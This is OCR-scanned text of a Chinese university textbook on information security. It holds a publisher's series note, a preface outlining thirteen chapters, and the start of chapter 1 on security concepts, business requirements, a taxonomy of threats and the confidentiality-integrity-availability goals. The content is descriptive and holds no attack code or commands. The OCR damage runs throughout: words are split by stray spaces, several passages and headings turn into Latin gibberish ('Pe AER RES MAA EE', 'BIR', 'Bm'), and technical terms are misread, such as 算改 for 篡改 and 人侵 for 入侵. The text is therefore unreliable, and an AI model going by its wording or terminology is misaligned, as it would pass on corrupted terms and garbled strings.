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出 版 说 明 


于 网 络 应 用 越 来 越 普 及 ,信息 化 的 社会 已 经 呈现 出 越 来 越 广阔 的 前 景 , 可 以 肯定 地 说 ， 
在 未 来 的 社会 中 电子 支付 ,电子 银行 ,电子 政务 以 及 多 方面 的 网 络 信息 服务 将 深入 到 人 
类 生活 的 方方面面 。 同 时 , 随 之 面临 的 信息 安全 问题 也 日 益 突出 ,非法 访问 \ 信 息 窃取 、 
甚至 信息 犯罪 等 恶意 行为 导致 信息 的 严重 不 安全 。 信 息 安 全 问题 已 由 原来 的 军事 国防 
领域 扩展 到 了 整个 社会 ,因此 社会 各 界 对 信息 安全 人 才 有 强烈 的 需求 。 

信息 安全 本 科 专 业 是 2000 年 以 来 结合 我 国 特色 开设 的 新 的 本 科 专 业 ,是 计算 机 、 
通信 数学 等 领域 的 交叉 学 科 , 主要 研究 确保 信息 安全 的 科学 和 技术 。 自 专业 创办 以 
来 ,各 个 高 校 在 课程 设置 和 教材 研究 上 一 直 处 于 探索 阶段 。 但 各 高 校 由 于 本 身 专业 设 
置 上 来 自 于 不 同 的 学 科 , 如 计算 机 、 通 信和 数学 等 ,在 课程 设置 上 也 没有 统一 的 指导 规 
范 , 在 课程 内 容 、 深 浅 程度 和 课程 衔接 上 ,存在 模糊 不 清 、 内 容重 肆 、 知 识 材 盖 不 全 面 等 
现象 。 因 此 ,根据 信息 安全 类 专业 知识 体系 所 覆盖 的 知识 点 ,系统 地 研究 目前 信息 安全 
专业 教学 所 涉及 的 核心 技术 的 原理 、 实 践 及 其 应 用 ,合理 规划 信息 安全 专业 的 核心 课 
程 , 在 此 基础 上 提出 适合 我 国信 息 安全 专业 教学 和 人 才 培 养 的 核心 课程 的 内 容 框架 和 
知识 体系 ,并 在 此 基础 上 设计 新 的 教学 模式 和 教学 方法 ,对 进一步 提高 国内 信息 安全 专 
业 的 教学 水 平和 质量 具有 重要 的 意义 。 

为 了 进一步 提高 国内 信息 安全 专业 课程 的 教学 水 平和 质量 ,培养 适应 社会 经 济 发 
展 需要 的 、 兼 具 研究 能 力 和 工程 能 力 的 高 质量 专业 技术 人 才 。 在 教育 部 相关 教学 指导 
委员 会 专家 的 指导 和 建议 下 ,清华 大 学 出 版 社 与 国内 多 所 重点 大 学 共同 对 我 国信 息 安 
全 人 才 培 养 的 课程 框架 和 知识 体系 ,以 及 实践 教学 内 容 进 行 了 深入 的 研究 ,并 在 该 基础 
上 形成 了 “信息 安全 人 才 需 求 与 专业 知识 体系 、 课 程 体系 的 研究 ”等 研究 报告 。 

本 系列 教材 是 在 课程 体系 的 研究 基础 上 总 结 、 完 善 而 成 ,力求 充分 体现 科学 性 、 先 
进 性 .工程 性 ,突出 专业 核心 课程 的 教材 ,兼顾 具有 专业 教学 特点 的 相关 基础 课程 教材 ， 
探索 具有 发 展 潜力 的 选修 课程 教材 ,满足 高 校 多 层次 教学 的 需要 。 

本 系列 教材 在 规划 过 程 中 体现 了 如 下 一 些 基本 组 织 原则 和 特点 。 

(1) 反映 信息 安全 学 科 的 发 展 和 专业 教育 的 改革 ,适应 社会 对 信息 安全 人 才 的 培 
养 需求 ,教材 内 容 坚 持 基 本 理论 的 扎实 和 清晰 ,反映 基本 理论 和 原理 的 综合 应 用 ,在 其 
基础 上 强调 工程 实践 环节 ,并 及 时 反映 教学 体系 的 调整 和 教学 内 容 的 更 新 。 

(2) 反映 教学 需要 ,促进 教学 发 展 。 教 材 要 适应 多 样 化 的 教学 需要 ,正确 把 握 教学 
内 容 和 课程 体系 的 改革 方向 ,在 选择 教材 内 容 和 编写 体系 时 注意 体现 素质 教育 、 创 新 能 
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力 与 实践 能 力 的 培养 ,为 学 生 知识 能力 .素质 协调 发 展 创造 条 件 。 

(3) 实施 精品 战略 ,突出 重点 。 规 划 教材 建设 把 重点 放 在 专业 核心 (基础 ?课程 的 教材 
建设 上 ; 特别 注意 选择 并 安排 一 部 分 原来 基础 比较 好 的 优秀 教材 或 讲义 修订 再 版 ,逐步 形 
成 精品 教材 ; 提倡 并 鼓励 编写 体现 工程 型 和 应 用 型 的 专业 教学 内 容 和 课程 体系 改革 成 果 的 
教材 。 

(4) 支持 一 纲 多 本 ,合理 配套 。 专 业 核心 课 和 相关 基础 课 的 教材 要 配套 ,同一 门 课程 可 
以 有 多 本 具有 各 自 内 容 特点 的 教材 。 处 理 好 教材 统一 性 与 多 样 化 ,基本 教材 与 辅助 教材 , 教 
学 参考 书 ,文字 教材 与 软件 教材 的 关系 ,实现 教材 系列 资源 的 配套 。 

(5) 依靠 专家 ,择优 落实 。 在 制定 教材 规划 时 依靠 各 课程 专家 在 调查 研究 本 课程 教材 
建设 现状 的 基础 上 提出 规划 选 题 。 在 落实 主编 人 选 时 ,要 引入 竞争 机 制 , 通 过 申报 .评审 确 
定 主编 。 书 稿 完成 后 认真 实行 审 稿 程序 ,确保 出 书 质量 。 

繁荣 教材 出 版 事业 ,提高 教材 质量 的 关键 是 教师 。 建 立 一 支 高 水 平 的 、 以 老 带 新 的 教材 
编写 队伍 才能 保证 教材 的 编写 质量 ,希望 有 志 于 教材 建设 的 教师 能 够 加 入 到 我 们 的 编写 队 
伍 中 来 。 
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Pe AER RES MAA EE. EER, MAR E E R A 
和 社会 信息 化 进程 的 全 面 加 快 , 计 算 机 网 络 在 政治 .军事 .金融 .商业 等 部 门 的 广泛 应 
用 ,网 络 与 信息 系统 的 基础 性 .全 局 性 作用 不 断 增 强 ,全 社会 对 计算 机 网 络 的 依赖 越 来 
越 大 。 网 络 系统 如 果 遭 到 破坏 ,不 仅 会 引起 社会 混乱 ,还 将 带 来 经 济 损失 。 信 息 安 全 已 
经 成 为 国家 安全 的 重要 组 成 部 分 。 加 快 信息 安全 保障 体系 的 建设 .培养 高 素质 的 网 络 
安全 人 才 队 伍 ,已 经 成 为 我 国 经 济 社会 发 展 和 信息 安全 体系 建设 中 的 一 项 长 期 性 .全 局 
性 和 战略 性 的 任务 。 为 此 ,我 们 根据 自己 的 科学 实践 ,结合 信息 安全 与 技术 的 教学 经 
验 ,编写 了 本 书 。 

信息 安全 与 技术 是 一 门 涉及 计算 机 科学 、 网 络 技术 、 密 码 技术 .信息论 .通信 技术 等 
多 种 学 科 的 综合 性 科学 。 全 书 共 13 章 , 内 容 包括 信息 安全 概述 ,物理 安全 体系 、 信 息 保 
密 技 术 、 信 息 隐 藏 技术 .网 络 攻击 技术 .和 人 侵 检测 技术 .黑客 攻防 剖析 、 网 络 防御 技术 .无 
线 网 络 安全 与 防御 技术 .应 用 层 安 全 技术 .计算 机 病毒 与 防范 技术 ,操作 系统 安全 技术 、 
信息 安全 解决 方案 。 

第 1 章 信息 安全 概述 ,介绍 信息 安全 的 基本 概念 及 需求 ,并 系统 地 分 析 信息 安全 环 
境 的 现状 和 网 络 不 安全 的 原因 ,最 后 引出 信息 安全 的 体系 结构 。 

第 2 章 物理 安全 体系 ,介绍 计算 机 系统 的 物理 安全 及 其 主要 内 容 。 物 理 安全 在 整 
个 计算 机 网 络 信息 系统 安全 中 占有 重要 地 位 ,主要 包括 环境 安全 ,设备 安全 和 媒体 安全 
3 个 方面 。 

第 3 章 信息 保密 技术 ,介绍 密码 学 的 发 展 历程 ,着 重 介 绍 古典 密码 体制 .对 称 密码 
体制 和 非 对 称 密码 体制 ,最 后 介绍 密码 学 的 应 用 ,包括 密码 应 用 模式 和 加 密 方式 。 

第 4 章 信 息 隐藏 技术 ,介绍 信息 隐藏 技术 的 发 展 历程 ,着 重 介绍 信息 隐藏 技术 的 概 
念 、 分 类 及 特性 ,以 及 信息 隐藏 技术 的 常用 算法 .数字 水 印 技 术 、 隐 通道 技术 和 匿名 通信 
技术 。 

第 5 章 网 络 攻击 技术 ,介绍 网 络 攻击 的 目标 .手段 .层次 .分 类 和 一 般 模 型 ,以 及 信 
息 收 集 技术 的 步 又、 方法 工具, 着重 介绍 网 络 后 门 与 网 络 隐 身 技 术 等 。 

第 6 章 入侵 检 测 技术 ,介绍 人 侵 检 测 的 概念 、 功 能 及 工作 过 程 , 以 及 网 络 和 人 侵 检测 
系统 产品 ,重点 介绍 人 侵 攻 击 可 利用 的 系统 漏洞 类 型 .漏洞 检测 技术 分 类 、 系 统 漏洞 检 
测 方法 、 常 见 的 系统 漏洞 及 防范 以 及 系统 漏洞 检测 工具 。 

第 7 章 黑 客 攻 防 剖 析 ,介绍 黑客 和 骇 客 的 起 源 及 概念 .黑客 的 攻击 分 类 和 步骤 , 重 
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点 介绍 了 国产 经 典 软件 和 常用 软件 ,最 后 介绍 黑客 攻击 防御 方法 。 

第 8 童 网 络 防 御 技术 ,介绍 网 络 体系 结构 、IPSec PIM SSL/TLS 协议 ,以 及 防火 
墙 的 基本 概念 ,分 类 实现 模型 ,最 后 介绍 VPN 技术 、 蜜 缸 主 机 与 欺骗 网 络 等 。 

第 9 章 无 线 网 络 安全 与 防御 技术 ,介绍 无 线 网 络 安 全 的 基本 概念 和 无 线 局 域 网 常 
见 的 设备 ,着 重 介绍 无 线 局 域 网 的 标准 、 无 线 网 面临 的 安全 威胁 、 网 络 安全 协议 和 安全 
技术 等 。 

第 10 章 应 用 层 安全 技术 ,介绍 Web 安全 技术 ,着 重 介绍 电子 邮件 安全 技术 、 身 份 
认证 技术 和 PKI 安全 体系 等 。 

第 11 章 计算 机 病毒 与 防范 技术 ,从 概念 分类、 特征 、 破 坏 行为 和 作用 机 理 等 方面 
详细 地 介绍 了 计算 机 病毒 ,并 从 检测 、 清 除 以 及 防范 的 角度 介绍 了 计算 机 病毒 的 防治 。 

第 12 章 操 作 系 统 安全 技术 ,介绍 UNIX, Linux 和 Windows 的 特点 ,着 重 介 绍 安全 
操作 系统 的 原理 ,介绍 Windows 操作 系统 的 安全 配置 方案 。 

第 13 童 信息 安全 解决 方案 ,介绍 信息 安全 体系 结构 的 现状 、 网 络 安全 需求 ,以 及 常 
见 的 网 络 安 全 产品 ,从 网 络 安全 工程 的 角度 介绍 某 大 型 企业 和 电子 政务 的 信息 安全 解 
决 方案 。 

本 书 由 朱 海 波 、 刘 湛 清 、 程 日 来 和 郭 春 阳 编写 。 全 书 共 13 章 , 其 中 ,第 2、3、4、10、 
13 章 由 朱 海 波 编 写 ,第 5、6、7、9、12 章 由 刘淇 清 编写 ,第 8 章 由 程 日 来 编写 ,第 1.11 章 
由 郭 春 阳 编写 。 全 书 最 后 由 朱 海 波 负责 统 稿 、. 定 稿 工作 。 本 书 在 编写 过 程 中 吸收 了 许 
多 专家 的 宝贵 意见 ,参考 了 大 量 的 网 站 资料 和 国内 外 众多 同行 的 研究 成 果 , 在 此 ,编者 
对 有 关 人 士 和 网 站 表示 衷心 的 感谢 ,同时 也 感谢 清华 大 学 出 版 社 的 大 力 支持 。 

由 于 信息 安全 技术 内 容 广泛 且 发 展 迅 速 ,加 之 编者 水 平 有 限 AS SE Se ht a ABS 
足 之 处 ,恳请 各 位 专家 和 读者 批评 指正 ,以 便 进一步 完善 和 提高 。 
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BIR 信息 安全 概述 


信息 安全 在 古代 就 已 经 受到 了 学 者 .军事 家 和 政治 家 的 重视 。 当 前 , 随 着 社会 信息 化 程 
度 的 提高 ,信息 安全 面临 诸多 挑战 ,因此 信息 安全 的 研究 与 开发 显得 更 加 活跃 ,许多 国家 和 
地 区 采取 了 有 力 的 措施 推进 信息 安全 技术 与 相关 技术 的 发 展 。 信 息 安全 面临 的 问题 较 多 ， 
在 方法 上 涉及 数学 ,物理 、 征 电子 .通信 以 及 计算 机 等 众多 领域 ,有 着 系统 的 技术 体系 和 丰富 
的 科学 内 涵 。 


1.1 信息 安全 的 基本 概念 和 需求 


1.1.1 信息 安全 的 含义 


虽然 计算 机 用 户 最 近 几 年 才 注 意 到 信息 安全 术语 ,但 是 信息 安全 方面 的 问题 却 影响 着 
人 们 生活 的 方方面面 。 信 息 安全 涵盖 的 内 容 广 泛 , 密 码 技 术 、 消 息 认 证 .身份 认证 与 数字 签 
名 、 防 火 墙 技术 以 及 安全 协议 都 是 信息 安全 研究 的 方向 。 网 络 安全 技术 是 信息 安全 技术 的 
重要 分 支 ,已 经 形成 了 比较 完备 的 理论 体系 ,成 为 了 信息 安全 问题 的 研究 热点 。 然 而 ,网 络 
安全 技术 不 能 够 涵盖 信息 安全 技术 的 全 部 内 容 , 作 为 信息 安全 的 一 般 性 讨论 ,有 必要 首先 明 
确信 息 安全 的 含义 :影响 信息 的 正常 存储 、 传 输 和 使 用 ,以 及 不 良 信息 的 散布 问题 属于 信息 
安全 问题 。 

据 此 ,可 以 把 信息 安全 问题 分 为 以 下 3 个 层次 。 

(1) 信息 自身 安全 性 。 这 类 问题 涉及 信息 的 可 用 性 、 可 信 性 、 完 整 性 以 及 保密 性 。 解 决 
这 些 问 题 仅 仅 依靠 技术 (密码 技术 、 信 息 隐藏 技术 和 网 络 技术 ) 支 持 是 远 远 不 够 的 ,管理 与 策 
略 的 维护 也 是 必 不 可 少 的 。 

(2) 信息 系统 安全 性 。 信 息 从 产生 到 运用 要 经 历 存 储 、 传 输 和 处 理 等 过 程 , 这 些 过 程 的 
载体 构成 了 信息 系统 。 信 息 系统 包含 的 范围 很 广 , 计 算 机 网 络 、 程 控 机 床 . 工 业 控 制 系统 以 
及 办 公 自 动 化 系统 都 属于 信息 系统 的 范畴 。 在 考虑 信息 系统 安全 性 时 ,设计 者 往往 将 注意 
力 集中 在 计算 机 网 络 方面 ,而 对 其 他 信息 系统 不 够 重视 。 例 如 ,如 果 在 设计 时 设计 人 员 充 分 
地 考虑 到 信息 系统 的 安全 性 ,那么 我 国 的 辱 诺 卫星 就 不 会 遭 到 非法 的 干扰 。 

G) 某 些 信息 的 传播 对 社会 造成 的 不 良 影响 。 不 仅 是 Internet, 其 他 信息 系统 (广播 系 
统 、 通 信 系统 等 ) 也 面临 着 同样 严峻 的 问题 。 这 些 不 良 影响 可 以 被 认为 是 信息 安全 的 反面 问 
题 ,但 对 信息 安全 工作 者 来 说 ,其 正 \ 反 两 方面 都 是 不 可 忽视 的 。 

这 3 个 层次 问题 虽然 都 属于 信息 安全 问题 ,但 是 它们 研究 的 目的 和 内 容 各 不 相同 ,使 用 
的 技术 手段 也 存在 着 较 大 的 差异 。 

信息 自身 安全 性 和 信息 系统 安全 性 属于 技术 问题 的 范畴 。 它 们 的 联系 非常 密切 ,信息 
系统 的 损坏 会 直接 地 导致 信息 存储 载体 的 失效 ,当然 会 影响 信息 自身 的 安全 ; 在 某 些 特殊 
的 情况 下 ,信息 自身 的 问题 也 会 波及 信息 系统 的 安全 。 消 除 信息 传播 对 社会 造成 的 不 良 影 
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响 虽然 需要 技术 的 支持 ,但 就 其 本 身 而 言 含 有 更 多 的 政治 和 人 文 因 素 。 世 界 各 国都 把 某 些 
信息 传播 对 社会 造成 的 不 良 影响 看 做 不 可 忽视 的 重要 问题 ,这 反映 了 信息 安全 的 特殊 性 。 


1.1.2 信息 安全 的 需求 


对 现代 商业 而 言 , 信 息 、 信 息 处 理 过 程 、 信 息 系 统 和 信息 网 络 都 是 重要 的 资产 。 商 业 企 
业 若 想 保持 竞争 优势 资金 的 流动 性 和 良好 的 企业 形象 必须 要 确保 信息 的 保密 性 、 完 整 性 与 
可 用 性 。 可 是 ,许多 商业 组 织 的 管理 信息 系统 正面 临 着 大 量 的 安全 威胁 ,诸如 网 络 诈骗 、 间 
谍 、 人 为 破坏 .水灾 以 及 火灾 等 。 计 算 机 病毒 .计算 机 入 侵 与 拒绝 服务 攻击 等 手段 导致 的 信 
息 灾难 层出不穷 。 信 息 服务 的 普及 意味 着 作为 信息 载体 的 管理 信息 系统 更 容易 成 为 黑客 的 
攻击 目标 ,公共 网 络 和 私人 网 络 的 互联 及 信息 资源 的 共享 增 大 了 实现 访问 控制 的 难度 。 许 
多 信息 系统 在 设计 之 初 并 未 充分 考虑 系统 的 安全 性 ,因此 仅 靠 技术 手段 无 法 确保 信息 系统 
的 安全 性 ,信息 系统 的 安全 性 还 依赖 于 管理 制度 和 程序 控制 的 支持 。 信 息 安全 管理 涉及 的 
人 员 众 多 ,如 企业 员工 、 供 应 商 、 顾 客 以 及 股东 ,此 外 还 需要 信息 安全 专家 的 建议 。 如 果 在 信 
息 系 统 设计 之 初 ,设计 人 员 就 充分 地 考虑 系统 的 安全 需求 和 程序 控制 ,那么 商业 企业 就 能 够 
降低 开发 成 本 ,提高 开发 效率 。 

虽然 商业 信息 需要 采取 必要 的 措施 加 以 保护 ,但 是 在 采取 具体 的 安全 措施 以 前 ,商业 组 
织 必 须 首先 明确 自身 的 安全 需求 。 信 息 系统 设计 者 通过 需求 分 析 来 明确 组 织 的 安全 需求 。 

一 般 来 说 ,商业 组 织 的 信息 安全 需求 来 自 以 下 3 个 方面 。 

(1) 法 律 法 规 与 合同 条 约 的 要 求 。 信 息 安 全 法 律 法 规 对 商业 组 织 提出 了 强制 性 的 要 
求 ,商业 组 织 应 该 学 习 这 些 法 律 法 规 ,从 这 些 法 律 法 规 中 提炼 出 自身 的 信息 安全 需求 。 这 里 
提 及 的 法 律 法 规 涉及 3 个 层次 , 即 国家 法 律 ,行政 法 规 . 各 部 委 和 地 方 的 规章 及 规范 性 文件 。 
此 外 ,商业 组 织 还 要 考虑 合作 伙伴 和 商业 客户 对 组 织 提 出 的 具体 信息 安全 要 求 , 包 括 招标 条 
件 、 合 同 约定 和 承诺 等 。 

(2) 商业 组 织 的 原则 、 目 标 和 规定 。 为 了 确保 支持 业务 运作 的 信息 处 理 活动 的 安全 性 ， 
商业 组 织 通 常 根据 自身 的 信息 安全 方针 、 需 要 实现 的 安全 目标 和 标准 来 确定 商业 组 织 的 信 
息 安 全 要 求 。 

(3) 风险 评估 的 结果 。 除 了 以 上 两 方面 信息 安全 需求 之 外 ,商业 组 织 还 可 以 通过 风险 
评估 的 方式 明确 自身 的 安全 需求 。 通 过 风险 评估 的 方式 ,商业 组 织 确定 了 信息 资产 的 保护 
程度 和 控制 方式 。 一 般 来 说 ,通过 综合 考虑 每 项 资产 所 面临 的 威胁 、 自 身 的 弱点 、 威 胁 造 成 
的 潜在 影响 和 发 生 的 可 能 性 等 因素 ,商业 组 织 能 够 分 析 并 确定 具体 的 安全 需求 。 信 息 安全 
管理 建立 在 信息 风险 评估 的 基础 上 。 


1.1.3 研究 信息 安全 的 必要 性 


当前 ,企业 信息 管理 系统 往往 采用 开放 性 的 系统 平台 ,而 信息 系统 的 组 成 部 分 (计算 机 
网 络 .操作 系统 和 数据 库 系 统 等 ) 又 往往 包含 很 多 的 漏洞 ,在 开放 性 的 系统 平台 下 这 些 系统 
漏洞 更 容易 成 为 黑客 攻击 的 目标 。 另 外 ,通过 Internet 普通 网 民 可 以 轻易 地 获取 各 种 黑客 
工具 ,这 使 得 网 络 黑客 发 动 针 对 网 站 服务 器 的 攻击 比 以 往 更 加 容易 ,由 此 潜在 的 黑客 群体 不 
断 地 扩大 。 

安全 漏洞 不 断 地 增加 。 例 如 .微软 公司 2005 年 为 IE 浏览 器 提供 了 80 余 个 安全 漏洞 的 
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补丁 ; 然而 ,还 有 30 多 个 TE 浏览 器 的 安全 漏洞 没有 提供 补丁 。 这 些 安全 漏洞 就 能 够 让 恶 
意 的 代码 进入 到 商业 组 织 的 计算 机 网 络 。 

随 着 Internet 的 广泛 普及 , 越 来 越 多 的 恶意 代码 将 自身 伪装 成 共享 软件 和 广告 软件 。 
某 些 特洛伊 木马 程序 将 自己 伪装 成 图 像 文件 ,一 旦 网 民 下 载 了 这 些 图 像 文件 ,恶意 程序 的 编 
写 者 就 可 以 肆 无 尽 悦 地 入 侵 恶 意 程序 所 在 的 计算 机 。 广 告 软件 可 以 侵犯 网 民 的 隐私 ,这 种 
软件 通常 是 在 网 民 下 载 其 他 软件 工具 时 一 同 下 载 的 。 这 种 软件 监视 网 民 浏览 过 的 每 个 网 页 
并 且 根 据 其 兴趣 爱好 设计 一 个 图 表 , 这 样 就 能 提供 适合 的 广告 。 一 方面 由 于 Internet 的 开 
放 性 以 及 安全 防范 措施 不 足 , 另 一 方面 各 种 攻击 手段 和 工具 不 断 涌现 并 且 容 易 获 得 ,同时 商 
业 组 织 网 络 面临 的 黑客 攻击 风险 的 发 生 概率 与 其 业务 性 质 有 关 , 因 此 商业 组 织 的 应 对 措施 
必须 是 消除 并 在 实际 风险 发 生 后 要 尽量 减轻 风险 的 破坏 后 果 。 

不 管 商业 企业 内 部 连接 的 是 企业 的 核心 数据 库 , 还 是 仅仅 承担 企业 内 部 电子 邮件 的 传 
输 服 务 ,保证 商业 企业 网 络 的 信息 安全 都 是 极其 重要 的 工作 。 如 果 一 个 商业 企业 使 用 广 域 
网 连接 到 Internet 上 进行 商务 活动 时 ,每 一 分 钟 的 掉 线 都 将 使 商业 企业 蒙受 巨大 的 经 济 
损失 。 

计算 机 网 络 主要 存在 以 下 三 类 安全 问题 。 

(1) 机 房 安 全 。 机 房 是 硬件 设备 运行 的 关键 场所 ,一 旦 出 现 安全 事故 ,如 物理 安全 事故 
(水 灾 、 火 灾 、 资 贼 等 ) ,电气 安全 事故 ( 断 电 、 负 和 载 不 均等 ) 等 情况 ,势必 影响 信息 的 安全 。 

(2) 病毒 的 人 侵 和 黑客 的 攻击 。 随 着 计算 机 网 络 的 普及 ,恶意 病毒 的 发 作 可 能 给 网 络 
造成 灾难 性 的 后 果 。 网 络 黑客 以 多 种 手段 选择 性 地 破坏 信息 的 有 效 性 和 完整 性 ,他们 截获 、 
窃取 和 破译 网 络 信息 ,从 中 获取 重要 的 商业 机 密 。 

(3) 因 管 理 不 健全 而 导致 的 安全 漏洞 。 从 广义 上 讲 , 网 络 安全 不 仅 涉及 技术 问题 也 涉 
及 管理 问题 。 网 络 安全 包括 管理 机 构 法律. 技术 、 经 济 等 诸多 方面 ,依靠 网 络 安全 技术 作为 
实现 工具 。 因 此 ,应 该 设计 综合 的 解决 方案 来 解决 网 络 安全 问题 。 


1.2 信息 安全 环境 及 现状 


1.2.1 信息 安全 的 威胁 


信息 安全 威胁 是 指 某 些 因 素 ( 人 、 物 .事件 方法 等 ) 对 信息 系统 的 安全 使 用 可 能 构成 的 
和 危害。 一 般 来 说 ,把 可 能 威胁 信息 安全 的 行为 称 为 攻击 。 在 计算 机 网 络 中 ,常见 的 信息 安全 
威胁 有 以 下 几 类 。 

1. 信息 泄露 

信息 泄露 指 信息 被 泄露 给 未 授权 的 实体 ,泄露 的 形式 主要 包括 窃听 、 截 收 、 侧 信道 攻击 
和 人 员 下 忽 等 。 其 中 , 截 收 泛 指 窍 取保 密 通信 的 电波 、 网 络 信息 等 ; 侧 信道 攻击 是 指 攻击 者 
虽然 不 能 直接 取得 保密 数据 ,但 是 可 以 获得 这 些 保密 数据 的 相关 信息 ,而 这 些 信息 有 助 于 分 
析出 保密 数据 的 内 容 。 

2. Bm 

算 改 指 攻 击 者 擅自 更 改 原 有 信息 的 内 容 , 但 信息 的 使 用 者 并 没有 意识 到 信息 已 经 被 更 
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改 的 事实 。 在 传统 环境 下 , 算 改 者 对 纸 质 文件 的 自 改 可 以 通过 一 些 鉴定 技术 识别 出 来 ; 但 
是 在 数字 环境 下 ,对 电子 内 容 的 自 改 不 会 留 下 明显 的 痕迹 。 

3. BH 

重 放 指 攻击 者 可 能 截获 合法 的 通信 信息 ,此 后 出 于 非法 的 目的 重新 发 送 已 截获 的 信息 ， 
而 接收 者 可 能 仍然 按照 正常 的 通信 信息 受理 ,从 而 被 攻击 者 所 欺骗 。 

4. 假冒 

假冒 指 某 用 户 冒 充 其 他 的 用 户 登 录 信息 系统 ,但 是 信息 系统 可 能 并 不 能 识别 出 冒充 者 ， 
这 可 能 使 冒充 者 获得 本 不 该 得 到 的 权限 。 

5. 否认 

否认 指 参与 某 次 数据 通信 或 数据 处 理 的 一 方 事后 拒绝 承认 本 次 数据 通信 或 数据 处 理 曾 
经 发 生 过 ,这 会 导致 这 类 数据 通信 或 数据 处 理 的 参与 者 逃避 应 承担 的 责任 。 

6. 非 授权 使 用 

非 授权 使 用 指 信息 资源 被 某 些 未 授权 的 人 或 系统 使 用 ,当然 也 包括 被 越权 使 用 的 情形 。 

7. 网 络 与 系统 攻击 

由 于 网 络 和 主机 系统 在 设计 或 实现 上 往往 存在 一 些 漏洞 ,攻击 者 可 能 利用 这 些 漏 洞 来 
攻击 主机 系统 ; 此 外 攻击 者 仅 通过 对 某 一 信息 服务 资源 进行 长 期 占用 ,使 系统 不 能 够 正常 
运转 ,这 种 攻击 一 般 被 称 为 拒绝 服务 攻击 。 

8. 恶意 代码 

恶意 代码 指 恶意 破坏 计算 机 系统 、 窃 取 机 密 信息 或 秘密 地 接受 远程 操控 的 程序 。 恶 意 
代码 由 居心 区 测 的 用 户 编 写 和 传播 ,隐藏 在 受害 方 的 计算 机 系统 中 ,这 些 代码 也 可 以 进行 自 
我 复制 和 传播 。 亚 意 代码 主要 包括 木马 程序 .计算 机 病毒 .后 门 程序 .蠕虫 病毒 以 及 僵尸 网 
络 等 。 

9. 故障 .灾害 和 人 为 破坏 

管理 信息 系统 也 可 以 因 硬 件 故障 ,自然 灾害 (水 灾 、 火 灾 及 地 震 等 ) 或 者 人 为 破坏 而 受到 
破坏 。 

上 面 提 到 的 信息 安全 威胁 直接 危及 信息 安全 的 不 同属 性 。 信 息 泄露 危及 机 密 性 ; 算 改 
危及 真实 性 和 完整 性 ; 重 放 、 假 冒 和 非 授权 使 用 危及 真实 性 和 可 控 性 ,否认 危及 非 否认 性 
网 络 与 系统 攻击 .故障 .灾害 和 人 为 破坏 危及 可 用 性 ; 恶意 代码 依照 其 意图 可 能 分 别 危及 可 
用 性 ,机 密 性 和 可 控 性 等 。 以 上 分 析 说 明 , 可 用 性 ,机密 性 、 完 整 性 、 非 否认 性 、 真 实 性 和 可 控 
性 6 个 属性 反映 了 信息 安全 的 本 质 特征 和 基本 需求 。 

也 可 以 进一步 地 将 信息 安全 威胁 划分 为 四 类 : 暴露 (Disclosure) , 指 对 信息 进行 未 授权 
访问 ,主要 是 来 自信 息 泄露 的 威胁 ; 欺骗 (Deception) , 指 信息 系统 被 误导 接收 到 错误 的 数据 
甚至 做 出 错误 的 判断 ,包括 来 自 算 改 、 重 放 , 假 冒 否认 等 的 威胁 ; 打扰 (Disruption) , 指 干扰 
或 中 断 信息 系 统 的 执行 ,主要 包括 来 自 网 络 与 系统 攻击 、 灾 害 、 故 障 与 人 为 破坏 的 威胁 ; 占 
用 (Usurpation) , 指 未 授权 使 用 信息 资源 或 系统 ,包括 来 自 未 授权 使 用 的 威胁 。 类 似 地 , 恶 
意 代码 按照 其 意图 不 同 可 以 划 归 到 不 同 的 类 别 中 去 。 

还 可 以 将 前 面 论 及 的 信息 安全 威胁 分 为 被 动 攻击 和 主动 攻击 两 类 。 被 动 攻击 仅仅 窃 
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听 、 截 收 和 分 析 受 保护 的 数据 ,这 种 攻击 形式 并 不 自 改 受 保护 的 数据 ,更 不 会 插入 新 的 数据 ; 
主动 攻击 试图 自 改 受 保护 的 数据 或 者 插入 新 的 数据 。 


1.2.2 信息 安全 的 目标 


信息 安全 旨 在 确保 信息 的 机 密 性 、 完 整 性 和 可 用 性 , 即 CIA (Confidentiality, Integrity, 
Availability). JAF! A 想 和 用 户 B 进行 一 次 通信 ,下 面 以 这 两 个 用 户 的 通信 过 程 为 例 来 介 
绍 这 几 个 性 质 。 

机 密 性 是 指 确 保 未 授权 的 用 户 不 能 够 获取 信息 的 内 容 , 即 用 户 A 发 出 的 信息 只 有 用 户 
B 能 够 收 到 ,假设 网 络 黑客 C 截获 了 该 信息 也 无 法 理解 信息 的 内 容 , 从 而 不 能 随意 使 用 该 信 
息 。 一 且 网 络 黑客 C 了 解 了 该 信息 的 确切 含义 , 则 说 明 网 络 黑客 C 破坏 了 该 信息 的 机 
密 性 。 

完整 性 也 就 是 确保 信息 的 真实 性 , 即 信息 在 生成 ,传输 , 存 储 和 使 用 过 程 中 不 应 被 未 授 
权 用 户 簧 改 。 如 果 网 络 黑客 C 截获 了 用 户 A 发 出 的 信息 ,并 且 自 改 了 信息 的 内 容 , 则 说 明 
网 络 黑客 C 破坏 了 信息 的 真实 性 。 

可 用 性 是 指 保证 信息 资源 随时 可 以 提供 服务 的 特性 , 即 授权 用 户 可 以 根据 需要 随时 获 
得 所 需 的 信息 。 也 就 是 说 ,要 保证 A 能 够 顺利 地 发 送信 息 ,B 能 够 顺利 地 接收 信息 。 

3 个 目标 中 只 要 有 一 个 被 破坏 ,就 表明 信息 的 安全 性 受到 了 破坏 。 

信息 安全 旨 在 保证 信息 的 这 3 个 特性 不 被 破坏 。 构 建安 全 系统 的 难点 之 一 就 是 在 相互 
矛盾 的 3 个 特性 中 找到 一 个 最 佳 的 平衡 点 。 例 如 ,在 安全 系统 中 ,只 要 禁止 所 有 的 用 户 读 取 
一 个 特定 的 对 象 , 就 能 够 轻易 地 保护 此 对 象 的 机 密 性 。 但 是 ,这 种 方式 使 这 个 系统 变 得 不 安 
全 了 ,因为 它 不 能 够 满足 授权 用 户 访问 该 对 象 的 可 用 性 要 求 。 也 就 是 说 ,有 必要 在 机 密 性 和 
可 用 性 之 间 找 到 平衡 点 。 

但 是 光 找 到 平衡 点 是 不 够 的 ,实际 上 这 3 个 
特征 既 相 互 独立 ,也 相互 重 倒 ,如 图 1-1 所 示 , 甚 
至 彼此 不 相 容 ,如 机 密 性 的 保护 会 严重 地 限制 可 


用 性 。 
不 同 的 信息 系统 承担 着 不 同类 型 的 业务 , 因 YT 


此 除了 上 面 的 3 个 基本 特性 以 外 ,可 能 会 有 更 加 
详细 的 具体 需求 ,由 以 下 4 个 特性 来 保证 。 

(1) 可 靠 性 (Reliability)。 可 靠 性 是 指 系 统 
